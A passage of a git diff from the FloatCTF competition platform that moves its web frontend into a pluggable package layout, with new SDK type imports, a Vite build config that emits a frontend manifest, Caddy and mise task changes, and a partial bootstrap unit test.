"@floatctf/sdk"; +export type { + EventInstanceResult, +}; diff --git a/apps/web/src/routes/service/events/jeopardy.$id/route.tsx b/frontends/default/src/routes/service/events/jeopardy.$id/route.tsx similarity index 98% rename from apps/web/src/routes/service/events/jeopardy.$id/route.tsx rename to frontends/default/src/routes/service/events/jeopardy.$id/route.tsx index 4cc6a81f..57e341b1 100644 --- a/apps/web/src/routes/service/events/jeopardy.$id/route.tsx +++ b/frontends/default/src/routes/service/events/jeopardy.$id/route.tsx @@ -5,7 +5,7 @@ import { Outlet, createFileRoute } from "@tanstack/react-router"; import { useTitle } from "ahooks"; import { useEffect, useState } from "react"; -import { eventInfoQueryOptions } from "@/api/queries/service/events"; +import { eventInfoQueryOptions } from "@/api/react"; import { RouterUnderlineNavItem as RouterNavItem } from "@/components/RouterUnderlineNavItem"; import { DatetimeToShow } from "@/util"; import dayjs from "dayjs"; diff --git a/apps/web/src/routes/service/events/jeopardy.$id/scoreboard.tsx b/frontends/default/src/routes/service/events/jeopardy.$id/scoreboard.tsx similarity index 94% rename from apps/web/src/routes/service/events/jeopardy.$id/scoreboard.tsx rename to frontends/default/src/routes/service/events/jeopardy.$id/scoreboard.tsx index 2c25226c..584a793b 100644 --- a/apps/web/src/routes/service/events/jeopardy.$id/scoreboard.tsx +++ b/frontends/default/src/routes/service/events/jeopardy.$id/scoreboard.tsx @@ -1,4 +1,4 @@ -import type { UniResponse } from "@/api/axios"; +import type { UniResponse } from "@floatctf/sdk"; import { CheckIcon, SparkleFillIcon, @@ -19,21 +19,7 @@ export const Route = createFileRoute("/service/events/jeopardy/$id/scoreboard")( component: RouteComponent, }, ); -export type ChallengeScoreboard = { - name: string; - solved: boolean; - solved_no: number; -}; -export type ScoreboardItem = { - id: string; - no: number; - name: string; - avatar?: string; - score: number; - solved_count: number; - challenges: ChallengeScoreboard[]; -}; function RouteComponent() { const { id } = Route.useParams(); @@ -175,3 +161,12 @@ export function ScoreBoard({ ); } + +import type { + ChallengeScoreboard, + ScoreboardItem, +} from "@floatctf/sdk"; +export type { + ChallengeScoreboard, + ScoreboardItem, +}; diff --git a/apps/web/src/routes/service/events/jeopardy.$id/trend.tsx b/frontends/default/src/routes/service/events/jeopardy.$id/trend.tsx similarity index 96% rename from apps/web/src/routes/service/events/jeopardy.$id/trend.tsx rename to frontends/default/src/routes/service/events/jeopardy.$id/trend.tsx index ad67f4a0..7380fd80 100644 --- a/apps/web/src/routes/service/events/jeopardy.$id/trend.tsx +++ b/frontends/default/src/routes/service/events/jeopardy.$id/trend.tsx @@ -1,4 +1,4 @@ -import type { UniResponse } from "@/api/axios"; +import type { UniResponse } from "@floatctf/sdk"; import { Spinner } from "@primer/react"; import { useQuery } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; @@ -10,16 +10,7 @@ import { DatetimeToShow } from "@/util"; export const Route = createFileRoute("/service/events/jeopardy/$id/trend")({ component: RouteComponent, }); -export type TrendPoint = { - name: string; - score: number; // total score - time: string; // NaiveDateTime 可以用 ISO 字符串 -}; -export type TrendItem = { - name: string; - points: TrendPoint[]; -}; function RouteComponent() { const { id } = Route.useParams(); const { data, isLoading, isError, error } = useQuery< @@ -202,3 +193,12 @@ export const TrendChart: React.FC = ({ data, className }) => { ); }; + +import type { + TrendPoint, + TrendItem, +} from "@floatctf/sdk"; +export type { + TrendPoint, + TrendItem, +}; diff --git a/apps/web/src/routes/service/gameboxes.tsx b/frontends/default/src/routes/service/gameboxes.tsx similarity index 97% rename from apps/web/src/routes/service/gameboxes.tsx rename to frontends/default/src/routes/service/gameboxes.tsx index 04c22a8e..023906c8 100644 --- a/apps/web/src/routes/service/gameboxes.tsx +++ b/frontends/default/src/routes/service/gameboxes.tsx @@ -2,12 +2,13 @@ import { useMutation } from "@tanstack/react-query"; import { createFileRoute, useNavigate } from "@tanstack/react-router"; import { useTitle } from "ahooks"; -import { type GameBoxCatalogDto, awdpRunApi } from "@/api/awdpRuns"; +import { type GameBoxCatalogDto } from "@floatctf/sdk"; import { GenericTable, useMsgBanner } from "@/components"; import { AppLink } from "@/navigation"; import { DatetimeToShow } from "@/util"; import { CheckIcon } from "@primer/octicons-react"; import { ServiceRouteGuard } from "./route"; +import { awdpRunApi } from "@/api"; export const Route = createFileRoute("/service/gameboxes")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/index.tsx b/frontends/default/src/routes/service/index.tsx similarity index 100% rename from apps/web/src/routes/service/index.tsx rename to frontends/default/src/routes/service/index.tsx diff --git a/apps/web/src/routes/service/instances.tsx b/frontends/default/src/routes/service/instances.tsx similarity index 97% rename from apps/web/src/routes/service/instances.tsx rename to frontends/default/src/routes/service/instances.tsx index 96d26e8b..1c428dca 100644 --- a/apps/web/src/routes/service/instances.tsx +++ b/frontends/default/src/routes/service/instances.tsx @@ -1,6 +1,6 @@ import { Button, Label } from "@primer/react"; -import type { UniResponse } from "@/api/axios"; -import type { InstancesDto as Instances } from "@/api/service/instances"; +import type { UniResponse } from "@floatctf/sdk"; +import type { InstancesDto as Instances } from "@floatctf/sdk"; import { useMutation, useQueryClient } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; diff --git a/apps/web/src/routes/service/profile.tsx b/frontends/default/src/routes/service/profile.tsx similarity index 99% rename from apps/web/src/routes/service/profile.tsx rename to frontends/default/src/routes/service/profile.tsx index 3e31156d..10f176b1 100644 --- a/apps/web/src/routes/service/profile.tsx +++ b/frontends/default/src/routes/service/profile.tsx @@ -8,7 +8,7 @@ import { useEffect, useRef, useState } from "react"; import { serviceApi } from "@/api"; import { useMsgBanner } from "@/components"; -import type { Users } from "@/entity"; +import type { Users } from "@floatctf/sdk/entity"; import { diffToPatch } from "@/util"; export const Route = createFileRoute("/service/profile")({ diff --git a/apps/web/src/routes/service/route.tsx b/frontends/default/src/routes/service/route.tsx similarity index 100% rename from apps/web/src/routes/service/route.tsx rename to frontends/default/src/routes/service/route.tsx diff --git a/apps/web/src/routes/service/solves.tsx b/frontends/default/src/routes/service/solves.tsx similarity index 96% rename from apps/web/src/routes/service/solves.tsx rename to frontends/default/src/routes/service/solves.tsx index d268dcc8..7126747d 100644 --- a/apps/web/src/routes/service/solves.tsx +++ b/frontends/default/src/routes/service/solves.tsx @@ -4,7 +4,7 @@ import { useTitle } from "ahooks"; import { serviceApi } from "@/api"; import { GenericTable } from "@/components"; -import type { SolveResult } from "@/api/service/solves"; +import type { SolveResult } from "@floatctf/sdk"; import { AppLink } from "@/navigation"; import { DatetimeToShow } from "@/util"; diff --git a/apps/web/src/routes/service/top.tsx b/frontends/default/src/routes/service/top.tsx similarity index 94% rename from apps/web/src/routes/service/top.tsx rename to frontends/default/src/routes/service/top.tsx index 5fce4237..4bf8b769 100644 --- a/apps/web/src/routes/service/top.tsx +++ b/frontends/default/src/routes/service/top.tsx @@ -10,13 +10,6 @@ export const Route = createFileRoute("/service/top")({ component: RouteComponent, }); -export type TopUser = { - no: number; - nickname: string; - avatar?: string; - solved_count: number; - solved_last_at: string; -}; function RouteComponent() { useTitle("Top | FloatCTF"); @@ -78,3 +71,10 @@ function RouteComponent() { /> ); } + +import type { + TopUser, +} from "@floatctf/sdk"; +export type { + TopUser, +}; diff --git a/apps/web/src/routes/service/weapons.tsx b/frontends/default/src/routes/service/weapons.tsx similarity index 97% rename from apps/web/src/routes/service/weapons.tsx rename to frontends/default/src/routes/service/weapons.tsx index 3dfbc87d..baab52f1 100644 --- a/apps/web/src/routes/service/weapons.tsx +++ b/frontends/default/src/routes/service/weapons.tsx @@ -1,6 +1,6 @@ import { serviceApi } from "@/api"; import { GenericTable } from "@/components"; -import type { Weapons } from "@/entity/weapons"; +import type { Weapons } from "@floatctf/sdk/entity/weapons"; import { DatetimeToShow } from "@/util"; import { CheckIcon } from "@primer/octicons-react"; import { createFileRoute } from "@tanstack/react-router"; diff --git a/apps/web/src/routes/service/writeups/$id.tsx b/frontends/default/src/routes/service/writeups/$id.tsx similarity index 97% rename from apps/web/src/routes/service/writeups/$id.tsx rename to frontends/default/src/routes/service/writeups/$id.tsx index 16633103..7aeaed9b 100644 --- a/apps/web/src/routes/service/writeups/$id.tsx +++ b/frontends/default/src/routes/service/writeups/$id.tsx @@ -5,7 +5,7 @@ import MDEditor from "@uiw/react-md-editor"; import { useTitle } from "ahooks"; import { serviceApi } from "@/api"; -import type { UnifiedWriteupDetail } from "@/api/service/challenges"; +import type { UnifiedWriteupDetail } from "@floatctf/sdk"; import { AppLink } from "@/navigation"; import { DatetimeToShow } from "@/util"; diff --git a/apps/web/src/routes/service/writeups/index.tsx b/frontends/default/src/routes/service/writeups/index.tsx similarity index 97% rename from apps/web/src/routes/service/writeups/index.tsx rename to frontends/default/src/routes/service/writeups/index.tsx index b0a34e40..23e97daa 100644 --- a/apps/web/src/routes/service/writeups/index.tsx +++ b/frontends/default/src/routes/service/writeups/index.tsx @@ -3,7 +3,7 @@ import { createFileRoute } from "@tanstack/react-router"; import { useTitle } from "ahooks"; import { serviceApi } from "@/api"; -import type { UnifiedWriteupResult } from "@/api/service/challenges"; +import type { UnifiedWriteupResult } from "@floatctf/sdk"; import { GenericTable } from "@/components"; import { AppLink } from "@/navigation"; import { DatetimeToShow } from "@/util"; diff --git a/apps/web/src/stores/AuthStore.ts b/frontends/default/src/stores/AuthStore.ts similarity index 100% rename from apps/web/src/stores/AuthStore.ts rename to frontends/default/src/stores/AuthStore.ts diff --git a/apps/web/src/style.css b/frontends/default/src/style.css similarity index 100% rename from apps/web/src/style.css rename to frontends/default/src/style.css diff --git a/apps/web/src/util.ts b/frontends/default/src/util.ts similarity index 100% rename from apps/web/src/util.ts rename to frontends/default/src/util.ts diff --git a/frontends/default/tsconfig.json b/frontends/default/tsconfig.json new file mode 100644 index 00000000..4f3321d4 --- /dev/null +++ b/frontends/default/tsconfig.json @@ -0,0 +1,29 @@ +{ + "include": ["**/*.ts", "**/*.tsx"], + "exclude": ["dist", "node_modules"], + "compilerOptions": { + "target": "ES2022", + "jsx": "react-jsx", + "module": "ESNext", + "lib": ["ES2022", "DOM", "DOM.Iterable"], + "types": ["vite/client"], + + /* Bundler mode */ + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "verbatimModuleSyntax": true, + "noEmit": true, + + /* Linting */ + "skipLibCheck": true, + "strict": true, + "noUnusedLocals": false, + "noUnusedParameters": false, + "noFallthroughCasesInSwitch": true, + "noUncheckedSideEffectImports": true, + "baseUrl": ".", + "paths": { + "@/*": ["./src/*"] + } + } +} diff --git a/frontends/default/vite.config.ts b/frontends/default/vite.config.ts new file mode 100644 index 00000000..87f8b5fb --- /dev/null +++ b/frontends/default/vite.config.ts @@ -0,0 +1,214 @@ +import { defineConfig, type Plugin } from "vitest/config"; +import viteReact from "@vitejs/plugin-react"; +import tailwindcss from "@tailwindcss/vite"; +import { TanStackRouterVite } from "@tanstack/router-plugin/vite"; +import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { resolve } from "node:path"; +import pkg from "./package.json"; + +const FRONTEND_ID = "default"; +const FRONTEND_NAME = "FloatCTF Default Frontend"; +/** 与 packages/frontend-runtime/src/version.ts 保持一致(契约 major)。 */ +const FRONTEND_RUNTIME_CONTRACT = "1"; +const API_CONTRACT = "1"; +/** 生产制品入口固定文件名:注册表与 Caddy 缓存策略都依赖它的确定性。 */ +const ENTRY_FILE = "assets/frontend.js"; +const STYLE_FILE = "assets/frontend.css"; + +function manifestObject(styles: string[]) { + return { + schemaVersion: 1, + id: FRONTEND_ID, + name: FRONTEND_NAME, + version: pkg.version, + description: "FloatCTF 官方前端(当前完整 UI)", + author: "FloatCTF", + compatibility: { + frontendRuntime: FRONTEND_RUNTIME_CONTRACT, + apiContract: API_CONTRACT, + }, + entry: ENTRY_FILE, + styles, + }; +} + +/** + * 构建结束后写出 `frontend.json`,并用 `@floatctf/frontend-runtime` 的**真实校验器** + * 校验它。这样"能构建但装不上"(路径写成绝对路径、契约版本写错、ID 非法)在构建期 + * 就会失败,而不是等运维在服务器上安装时才发现。 + */ +function emitFrontendManifest(): Plugin { + return { + name: "floatctf:emit-frontend-manifest", + apply: "build", + async closeBundle() { + const outDir = resolve(__dirname, "dist"); + const styles = existsSync(resolve(outDir, STYLE_FILE)) ? [STYLE_FILE] : []; + const manifest = manifestObject(styles); + const { parseFrontendManifest } = await import("@floatctf/frontend-runtime"); + const parsed = parseFrontendManifest(manifest); + if (!parsed.ok) { + throw new Error( + `generated frontend.json does not satisfy the frontend runtime contract:\n${parsed.errors.join("\n")}`, + ); + } + if (!existsSync(resolve(outDir, ENTRY_FILE))) { + throw new Error(`frontend entry was not emitted: ${ENTRY_FILE}`); + } + mkdirSync(outDir, { recursive: true }); + writeFileSync( + resolve(outDir, "frontend.json"), + `${JSON.stringify(manifest, null, 2)}\n`, + ); + }, + }; +} + +/** + * DEV ONLY:让开发服务器同时提供"本地已安装前端注册表"。 + * + * 生产环境这份文件由 Caddy 从 `$FLOATCTF_HOME/frontends/registry.json` 提供。 + * 开发环境没有安装目录,但管理端的"前端选择器"要真实读取注册表,因此这里 + * 按注册表的**真实 schema** 生成一份只含 default 的开发注册表 —— 选择器在 dev + * 下走的是与生产完全相同的代码路径与数据格式。 + */ +function devRegistry(): Plugin { + const registry = { + schemaVersion: 1, + updatedAt: new Date(0).toISOString(), + frontends: { + [FRONTEND_ID]: { + id: FRONTEND_ID, + currentVersion: pkg.version, + protected: true, + versions: { + [pkg.version]: { + version: pkg.version, + name: FRONTEND_NAME, + description: "FloatCTF 官方前端(当前完整 UI)", + author: "FloatCTF", + compatibility: { + frontendRuntime: FRONTEND_RUNTIME_CONTRACT, + apiContract: API_CONTRACT, + }, + entry: ENTRY_FILE, + styles: [STYLE_FILE], + installedAt: new Date(0).toISOString(), + }, + }, + }, + }, + }; + return { + name: "floatctf:dev-registry", + apply: "serve", + configureServer(server) { + server.middlewares.use((req, res, next) => { + if (!req.url?.startsWith("/__floatctf/frontends/registry.json")) { + next(); + return; + } + res.setHeader("Content-Type", "application/json"); + res.setHeader("Cache-Control", "no-store"); + res.end(JSON.stringify(registry)); + }); + }, + }; +} + +// 单元测试(vitest)跑在**开发** React 下:`React.act` 只在 development 构建里导出。 +// 因此 `process.env.*` 的替换**只在构建时**生效,绝不污染测试环境 +// (否则 React 会被解析成 production 构建,act/测试工具全挂)。 +const isTest = Boolean(process.env.VITEST); + +export default defineConfig({ + // 生产制品由 bootstrap 从 /__floatctf/frontends/// 动态 import, + // 因此所有内部引用必须是相对路径(绝不写死站点根)。 + base: "./", + define: { + "import.meta.env.VITE_APP_VERSION": JSON.stringify(pkg.version), + // 关键:生产制品是一个**自包含的浏览器应用**,不是给别的打包器消费的库。 + // Vite 的 lib 模式刻意**不**替换第三方依赖里的 `process.env.*` + // (默认假设消费者会处理),而浏览器里根本没有 `process` —— + // 一旦引用执行就是 "process is not defined"(实测:默认前端整页起不来, + // 由 bootstrap 的兜底页如实报错)。因此构建时必须显式替换。 + ...(isTest + ? {} + : { + "process.env.NODE_ENV": JSON.stringify("production"), + "process.env": JSON.stringify({ NODE_ENV: "production" }), + }), + }, + plugins: [ + // Vitest 下关闭路由代码分割:分割后的页面是懒加载组件, + // 单测里渲染路由页面会一直停在 Suspense fallback。开发/构建仍开启。 + TanStackRouterVite({ autoCodeSplitting: !isTest }), + viteReact(), + tailwindcss(), + devRegistry(), + emitFrontendManifest(), + ], + resolve: { + alias: { + "@": resolve(__dirname, "./src"), + }, + }, + server: { + // host: true 让 dev server 监听 0.0.0.0, + // 这样 Caddy 容器可通过 host-gateway (172.17.0.1:13000) 反向代理。 + host: true, + watch: { + ignored: ["**/routeTree.gen.ts"], + }, + // 启动时预编译常用页面,避免开发时首次点击标签页要等编译。 + warmup: { + clientFiles: [ + "./src/routes/service/index.tsx", + "./src/routes/service/top.tsx", + "./src/routes/service/challenges/index.tsx", + "./src/routes/admin/index.tsx", + "./src/routes/admin/dashboard.tsx", + "./src/routes/admin/challenges.tsx", + ], + }, + }, + build: { + outDir: "dist", + emptyOutDir: true, + target: "esnext", + // 单文件 CSS:bootstrap 需要按 frontend.json 显式注入,文件名必须确定。 + cssCodeSplit: false, + // 前端自带框架与依赖(v1 不做共享 React 单例 / 模块联邦)。 + lib: { + entry: resolve(__dirname, "src/entry.tsx"), + formats: ["es"], + fileName: () => "assets/frontend.js", + }, + rollupOptions: { + output: { + entryFileNames: ENTRY_FILE, + chunkFileNames: "assets/[name]-[hash].js", + assetFileNames: (assetInfo) => + assetInfo.names?.some((name) => name.endsWith(".css")) + ? STYLE_FILE + : "assets/[name][extname]", + }, + }, + }, + test: { + // 与迁移前的 apps/web 一致:默认 Node 环境,需要 DOM 的用例在文件首行 + // 加 `// @vitest-environment jsdom`。 + environment: "node", + }, +}); + +/** package.json 的版本同时用于 manifest 与注册表,避免两处漂移。 */ +export const frontendPackageVersion = pkg.version; +export const frontendEntryFile = ENTRY_FILE; +export const frontendStyleFile = STYLE_FILE; + +// 让 IDE/测试能引用到读取到的 manifest(构建期由 emitFrontendManifest 校验)。 +export function readBuiltManifest(distDir = resolve(__dirname, "dist")) { + const raw = readFileSync(resolve(distDir, "frontend.json"), "utf8"); + return JSON.parse(raw) as Record; +} diff --git a/infra/caddy/Caddyfile.dev b/infra/caddy/Caddyfile.dev index 071953df..84360c3b 100644 --- a/infra/caddy/Caddyfile.dev +++ b/infra/caddy/Caddyfile.dev @@ -10,6 +10,15 @@ http:// { reverse_proxy host.docker.internal:9090 } + # 本地已安装前端注册表 / 资产。 + # 开发环境没有 $FLOATCTF_HOME 安装目录:注册表由 Default Frontend 的 Vite 插件按 + # **真实 schema** 提供(只含 default),因此管理端「前端选择器」在 dev 下走的是与 + # 生产完全相同的代码路径与数据格式。生产由 Caddy 从 /srv/frontends 直接提供。 + handle /__floatctf/frontends/* { + header Cache-Control "no-store" + reverse_proxy host.docker.internal:13000 + } + handle_path /public/* { rewrite * /floatctf-public{path} reverse_proxy rustfs:9000 diff --git a/mise.toml b/mise.toml index 7ed03b2d..13e50d9e 100644 --- a/mise.toml +++ b/mise.toml @@ -72,10 +72,76 @@ watchexec --restart --exts rs,toml \ """ # 前端 +# 开发模式:先构建 workspace 包(frontend-runtime / sdk / react 的 dist 是前端 +# 解析 `@floatctf/*` 的真实产物),再启动 Default Frontend 的 Vite(HMR)。 +# 生产模式完全不经过这里:apps/web bootstrap → Caddy → 已安装的版本化制品。 [tasks."dev:web"] -description = "启动 Web 开发服务器" -dir = "apps/web" -run = "pnpm dev" +description = "构建 workspace 包并启动 Default Frontend 开发服务器(Vite HMR)" +run = """ +pnpm run build:packages +pnpm --filter @floatctf/frontend-default dev +""" + +# 只在开发 workspace 包本身时用:tsc --watch 持续刷新 packages/*/dist。 +[tasks."dev:packages"] +description = "以 watch 模式重建 workspace 包(改动 packages/* 时用)" +run = "pnpm run dev:packages" + +# Web 类型检查(与 CI 的 `vite build && tsc` 对齐;biome lint 抓不到类型错误) +[tasks."web:typecheck"] +description = "Web TypeScript 类型检查(全部 web 包 tsc --noEmit)" +# 先构建 packages/*:前端通过 package.json exports 解析 @floatctf/* 到各包的 dist, +# 因此必须先有**当前**的 dist,否则会拿旧 .d.ts 做类型检查(会出现"本地看绿、CI 变红" +# 这类与源码无关的假结果)。 +run = """ +pnpm run build:packages +pnpm --filter @floatctf/frontend-runtime exec tsc -p tsconfig.build.json --noEmit +pnpm --filter @floatctf/sdk exec tsc -p tsconfig.build.json --noEmit +pnpm --filter @floatctf/react exec tsc -p tsconfig.build.json --noEmit +pnpm --filter @floatctf/web exec tsc --noEmit +pnpm --filter @floatctf/frontend-default exec tsc --noEmit +""" + +# 前端平台架构边界守卫(SDK 必须框架无关、默认前端不得逃出自身包、bootstrap 不得 +# 带上默认前端……见 docs/frontend/ARCHITECTURE.md)。 +[tasks."web:architecture"] +description = "校验可插拔前端架构边界与契约版本一致性" +run = "./scripts/check-architecture.sh" + +# 静态检查 +[tasks.lint] +description = "执行 Rust 和 Web 静态检查" +run = [ + "cargo clippy --workspace --all-targets --all-features", + "pnpm --filter @floatctf/frontend-runtime lint", + "pnpm --filter @floatctf/sdk lint", + "pnpm --filter @floatctf/react lint", + "pnpm --filter @floatctf/web lint", + "pnpm --filter @floatctf/frontend-default lint", + { task = "web:typecheck" }, + { task = "web:architecture" }, +] + +# 测试 +[tasks.test] +description = "执行 Rust 和 Web 测试" +run = [ + "./scripts/test-rust.sh", + # 同上:测试同样通过 exports → dist 解析 @floatctf/*,先确保 dist 是当前的。 + "pnpm run build:packages", + "pnpm run test:web", + # 前端管理器(frontend.sh)的契约与安全负向测试:不依赖 docker,几十秒内跑完。 + "./scripts/test-frontend-manager.sh", +] + +# 构建 +[tasks.build] +description = "构建 API、workspace 包、bootstrap 与 Default Frontend" +run = [ + "cargo build --workspace --release", + "pnpm run build:packages", + "pnpm run build:web", +] # 唯一开发入口:基础设施 healthy → migrations → API watch + Vite。 [tasks.dev] @@ -107,42 +173,11 @@ run = [ description = "检查 Rust 格式" run = "cargo fmt --all -- --check" -# Web 类型检查(与 CI 的 `vite build && tsc` 对齐;biome lint 抓不到类型错误) -[tasks."web:typecheck"] -description = "Web TypeScript 类型检查(tsc --noEmit)" -dir = "apps/web" -run = "pnpm exec tsc --noEmit" - -# 静态检查 -[tasks.lint] -description = "执行 Rust 和 Web 静态检查" -run = [ - "cargo clippy --workspace --all-targets --all-features", - "pnpm --filter @floatctf/web lint", - { task = "web:typecheck" }, -] - -# 测试 -[tasks.test] -description = "执行 Rust 和 Web 测试" -run = [ - "./scripts/test-rust.sh", - "pnpm --filter @floatctf/web test", -] - # 检查 [tasks.check] description = "检查整个项目" depends = ["fmt", "lint", "test"] -# 构建 -[tasks.build] -description = "构建 API 和 Web" -run = [ - "cargo build --workspace --release", - "pnpm --filter @floatctf/web build", -] - [tasks."db:migration:new"] description = "创建新的数据库 migration" run = """ diff --git a/package.json b/package.json index c9f401a3..2080fbbf 100644 --- a/package.json +++ b/package.json @@ -5,11 +5,12 @@ "private": true, "packageManager": "pnpm@11.20.0", "scripts": { - "dev:web": "pnpm --filter @floatctf/web dev", - "build:web": "pnpm --filter @floatctf/web build", - "lint:web": "pnpm --filter @floatctf/web lint", - "test:web": "pnpm --filter @floatctf/web test --passWithNoTests", - "check:web": "pnpm --filter @floatctf/web lint" + "build:packages": "pnpm --filter @floatctf/frontend-runtime --filter @floatctf/sdk --filter @floatctf/react build", + "dev:packages": "pnpm --parallel --filter @floatctf/frontend-runtime --filter @floatctf/sdk --filter @floatctf/react dev", + "dev:web": "pnpm --filter @floatctf/frontend-default dev", + "build:web": "pnpm --filter @floatctf/web build && pnpm --filter @floatctf/frontend-default build", + "lint:web": "pnpm --filter @floatctf/frontend-runtime --filter @floatctf/sdk --filter @floatctf/react --filter @floatctf/web --filter @floatctf/frontend-default lint", + "test:web": "pnpm --filter @floatctf/frontend-runtime --filter @floatctf/sdk --filter @floatctf/react --filter @floatctf/web --filter @floatctf/frontend-default test" }, "keywords": [], "author": "", diff --git a/packages/frontend-runtime/README.md b/packages/frontend-runtime/README.md new file mode 100644 index 00000000..577f20cd --- /dev/null +++ b/packages/frontend-runtime/README.md @@ -0,0 +1,27 @@ +# @floatctf/frontend-runtime + +FloatCTF pluggable frontend **artifact / runtime contract**. Framework-independent: +it does not depend on React, Vue, Svelte, Primer, a router, or a state library. + +- `frontend.json` manifest schema + strict validation (`parseFrontendManifest`) +- installed-frontend registry schema + resolution (`parseRegistry`, `resolveFrontend`) +- runtime module contract (`FloatCTFFrontendModule.mount(context)`) +- the bootstrap loader with break-glass fallback (`bootstrapFrontend`) + +Docs: [`docs/frontend/ARCHITECTURE.md`](../../docs/frontend/ARCHITECTURE.md), +[`docs/frontend/ARTIFACT.md`](../../docs/frontend/ARTIFACT.md). + +```ts +import { bootstrapFrontend } from "@floatctf/frontend-runtime"; + +await bootstrapFrontend({ root: document.getElementById("app")! }); +``` + +Contract versions are independent constants: + +| constant | meaning | +|---|---| +| `FRONTEND_RUNTIME_VERSION` | `mount(context)` / `frontend.json` contract major | +| `API_CONTRACT_VERSION` | frontend-visible HTTP API contract major | +| `FRONTEND_REGISTRY_SCHEMA_VERSION` | local `registry.json` schema version | +| `FRONTEND_MANIFEST_SCHEMA_VERSION` | `frontend.json` document schema version | diff --git a/packages/frontend-runtime/biome.json b/packages/frontend-runtime/biome.json new file mode 100644 index 00000000..2e7998fa --- /dev/null +++ b/packages/frontend-runtime/biome.json @@ -0,0 +1,34 @@ +{ + "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json", + "vcs": { + "enabled": false, + "clientKind": "git", + "useIgnoreFile": false + }, + "files": { + "ignoreUnknown": false, + "ignore": ["dist", "src/entity"], + "include": ["src/*", "vitest.config.ts", "tsconfig*.json", "README.md"] + }, + "formatter": { + "enabled": true, + "indentStyle": "tab" + }, + "organizeImports": { + "enabled": true + }, + "linter": { + "enabled": true, + "rules": { + "recommended": true, + "suspicious": { + "noConsole": "off" + } + } + }, + "javascript": { + "formatter": { + "quoteStyle": "double" + } + } +} diff --git a/packages/frontend-runtime/package.json b/packages/frontend-runtime/package.json new file mode 100644 index 00000000..617a93a8 --- /dev/null +++ b/packages/frontend-runtime/package.json @@ -0,0 +1,34 @@ +{ + "name": "@floatctf/frontend-runtime", + "version": "1.0.0", + "description": "FloatCTF pluggable frontend artifact/runtime contract (framework independent)", + "license": "AGPL-3.0-only", + "type": "module", + "sideEffects": false, + "main": "./dist/index.js", + "types": "./dist/index.d.ts", + "exports": { + ".": { + "types": "./dist/index.d.ts", + "import": "./dist/index.js" + }, + "./package.json": "./package.json" + }, + "files": ["dist", "README.md"], + "scripts": { + "build": "tsc -p tsconfig.build.json", + "dev": "tsc -p tsconfig.build.json --watch --preserveWatchOutput", + "test": "vitest run", + "lint": "biome lint src", + "typecheck": "tsc -p tsconfig.build.json --noEmit" + }, + "devDependencies": { + "@biomejs/biome": "1.9.4", + "jsdom": "^26.0.0", + "typescript": "^5.7.2", + "vitest": "^3.0.5" + }, + "publishConfig": { + "access": "public" + } +} diff --git a/packages/frontend-runtime/src/__tests__/bootstrap.test.ts b/packages/frontend-runtime/src/__tests__/bootstrap.test.ts new file mode 100644 index 00000000..53f8b32a --- /dev/null +++ b/packages/frontend-runtime/src/__tests__/bootstrap.test.ts @@ -0,0 +1,347 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import { bootstrapFrontend } from "../bootstrap"; +import type { FloatCTFFrontendModule, FloatCTFMountContext } from "../module"; + +const REGISTRY = { + schemaVersion: 1, + updatedAt: "2026-10-07T00:00:00.000Z", + frontends: { + default: { + id: "default", + currentVersion: "1.0.0", + protected: true, + versions: { + "1.0.0": { + version: "1.0.0", + name: "Default Frontend", + compatibility: { frontendRuntime: "1", apiContract: "1" }, + entry: "assets/frontend.js", + styles: ["assets/frontend.css"], + installedAt: "2026-10-07T00:00:00.000Z", + }, + }, + }, + cyberpunk: { + id: "cyberpunk", + currentVersion: "1.0.0", + versions: { + "1.0.0": { + version: "1.0.0", + name: "Cyberpunk", + compatibility: { frontendRuntime: "1", apiContract: "1" }, + entry: "assets/frontend.js", + styles: ["assets/frontend.css"], + installedAt: "2026-10-07T00:00:00.000Z", + }, + }, + }, + "legacy-runtime": { + id: "legacy-runtime", + currentVersion: "1.0.0", + versions: { + "1.0.0": { + version: "1.0.0", + name: "Legacy", + compatibility: { frontendRuntime: "9", apiContract: "9" }, + entry: "assets/frontend.js", + styles: [], + installedAt: "2026-10-07T00:00:00.000Z", + }, + }, + }, + }, +}; + +function makeFetch(options: { + activeFrontend?: string; + bootstrapStatus?: number; + registryStatus?: number; +}): typeof fetch { + const activeFrontend = options.activeFrontend ?? "default"; + return (async (input: RequestInfo | URL) => { + const url = String(input); + if (url.endsWith("/frontend")) { + if (options.bootstrapStatus && options.bootstrapStatus !== 200) { + return new Response("nope", { status: options.bootstrapStatus }); + } + return new Response( + JSON.stringify({ + code: 0, + message: "ok", + data: { + active_frontend: activeFrontend, + platform_version: "1.0.0", + api_contract_version: "1", + frontend_runtime_version: "1", + capabilities: ["awd", "awdp", "jeopardy"], + }, + }), + { status: 200, headers: { "Content-Type": "application/json" } }, + ); + } + if (options.registryStatus && options.registryStatus !== 200) { + return new Response("nope", { status: options.registryStatus }); + } + return new Response(JSON.stringify(REGISTRY), { + status: 200, + headers: { "Content-Type": "application/json" }, + }); + }) as typeof fetch; +} + +function mountableModule(label: string): FloatCTFFrontendModule { + return { + mount: (context) => { + context.root.textContent = label; + }, + }; +} + +describe("bootstrapFrontend", () => { + let root: HTMLElement; + let emergency: HTMLElement; + + beforeEach(() => { + document.body.innerHTML = '
'; + root = document.getElementById("app") as HTMLElement; + emergency = document.getElementById("emergency") as HTMLElement; + }); + + afterEach(() => { + vi.restoreAllMocks(); + document.head.innerHTML = ""; + }); + + it("loads the active frontend and mounts it with a safe context", async () => { + const contexts: unknown[] = []; + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + fetchImpl: makeFetch({ activeFrontend: "cyberpunk" }), + importModule: async () => ({ + mount: (context: FloatCTFMountContext) => { + contexts.push(context); + context.root.textContent = "cyberpunk"; + }, + }), + loadStyle: () => document.createElement("link"), + }); + + expect(result.mounted).toBe(true); + expect(result.frontendId).toBe("cyberpunk"); + expect(root.textContent).toBe("cyberpunk"); + expect(contexts).toHaveLength(1); + const context = contexts[0] as Record; + expect(context.apiBaseUrl).toBe("/api"); + expect(context.assetBaseUrl).toBe("/__floatctf/frontends/cyberpunk/1.0.0"); + expect(context.capabilities).toEqual(["awd", "awdp", "jeopardy"]); + // 契约上不得出现路由/页面概念 + expect(context).not.toHaveProperty("router"); + 